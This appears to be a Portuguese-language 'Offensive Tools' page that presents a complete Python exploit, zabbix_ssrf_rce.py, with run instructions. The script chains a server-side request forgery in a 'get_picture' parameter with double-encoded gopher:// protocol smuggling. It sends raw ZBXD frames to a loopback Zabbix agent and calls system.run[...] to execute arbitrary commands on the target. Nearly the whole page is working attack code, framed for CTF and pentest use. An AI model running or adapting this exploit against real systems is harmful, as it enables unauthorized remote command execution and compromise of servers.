pythonOffensive Tools#python
95 linhas•zabbix_ssrf_rce.py

zabbix_ssrf_rce.py — Offensive Tool

Ferramenta de automação ofensiva desenvolvida em Python.

Destaques Operacionais

  • Script adicionado dinamicamente ao arsenal
  • Execução automatizada em ambientes CTF e pentest
  • Código fonte integral disponível para inspeção

Como Executar

python3 zabbix_ssrf_rce.py

* Ajuste as permissões de execução com chmod +x zabbix_ssrf_rce.py se necessário.

Código Fonte — zabbix_ssrf_rce.py
python
#!/usr/bin/env python3
"""
SSRF + Protocol Smuggling (gopher) -> RCE via Zabbix Agent

Cadeia de ataque:
  1. Parametro vulneravel que executa curl no servidor (ex.: system("curl '<url>' |cat"))
  2. SSRF via gopher:// double-encoded (o PHP decodifica uma vez, o libcurl decodifica de novo)
  3. Frame ZBXD cru enviado ao zabbix_agentd interno (127.0.0.1:10050)
  4. system.run[<cmd>] -> execucao de comandos como o usuario do agente

Detalhe critico do framing:
  o libcurl (testado no 7.64) SEMPRE anexa "\r\n" ao final do selector gopher,
  portanto o campo de tamanho do frame (u64 little-endian) deve ser len(key) + 2.

Pre-requisitos no alvo:
  - Agente Zabbix com AllowKey=system.run[*] (ou EnableRemoteCommands=1)
  - Server=127.0.0.1 (o SSRF parte do loopback, entao a origem e aceita)
  - Porta do agente (10050) alcancavel via loopback

Notas:
  - Evite virgulas e colchetes nos comandos (separador/terminador de parametro do item key).
  - Comandos com espacos funcionam sem aspas: system.run[ls -la /home].

Uso:
  python3 zabbix_ssrf_rce.py --base 'http://10.10.0.47' --cookie 'PHPSESSID=abc' -- id
  python3 zabbix_ssrf_rce.py --base 'http://10.10.0.47' --cookie 'PHPSESSID=abc' -- id 'uname -a' 'ls -la /'

MITRE ATT&CK: T1190 (Exploit Public-Facing App) / T1090 (Proxy: SSRF) /
              T1059.004 (Unix Shell via system.run)
"""
import argparse
import struct
import urllib.parse
import urllib.request
from typing import Optional

DEFAULT_PORT = 10050


def double_encode(raw: bytes) -> str:
    """Codifica duas vezes: 1a camada para o libcurl, 2a para o PHP (urldecode)."""
    inner = ''.join(f'%{b:02X}' for b in raw)
    return urllib.parse.quote(inner, safe='')


def build_frame(key: str) -> bytes:
    """Frame ZBXD: 'ZBXD\\x01' + u64 LE (len+2) + key  [ +2 = CRLF anexado pelo curl ]."""
    payload = key.encode()
    return b'ZBXD\x01' + struct.pack('<Q', len(payload) + 2) + payload


def http_get(url: str, cookie: Optional[str] = None, timeout: int = 25) -> bytes:
    req = urllib.request.Request(url)
    if cookie:
        req.add_header('Cookie', cookie)
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return resp.read()


def parse_zbxd(data: bytes) -> str:
    """Remove o header ZBXD e retorna o payload (valor do item)."""
    if data.startswith(b'ZBXD\x01') and len(data) >= 13:
        (n,) = struct.unpack('<Q', data[5:13])
        return data[13:13 + n].decode(errors='replace')
    return data.decode(errors='replace')


def run_command(base: str, cookie: Optional[str], port: int, command: str, timeout: int = 25) -> str:
    key = f'system.run[{command}]'
    frame = build_frame(key)
    url = f"{base}/?get_picture=gopher://127.0.0.1:{port}/_{double_encode(frame)}"
    return parse_zbxd(http_get(url, cookie, timeout))


def main():
    ap = argparse.ArgumentParser(description='SSRF gopher -> Zabbix agent RCE (system.run)')
    ap.add_argument('--base', required=True, help='URL do alvo (ex.: http://10.10.0.47)')
    ap.add_argument('--cookie', default=None, help='Cookie de sessao (opcional)')
    ap.add_argument('--port', type=int, default=DEFAULT_PORT, help='porta do zabbix agent (default: 10050)')
    ap.add_argument('--timeout', type=int, default=25, help='timeout HTTP em segundos (default: 25)')
    ap.add_argument('commands', nargs='+', help='comando(s) para executar no alvo')
    args = ap.parse_args()

    base = args.base.rstrip('/')
    for cmd in args.commands:
        try:
            out = run_command(base, args.cookie, args.port, cmd, args.timeout)
        except Exception as exc:
            out = f'[erro] {exc}'
        print(f'$ {cmd}\n{out}\n')


if __name__ == '__main__':
    main()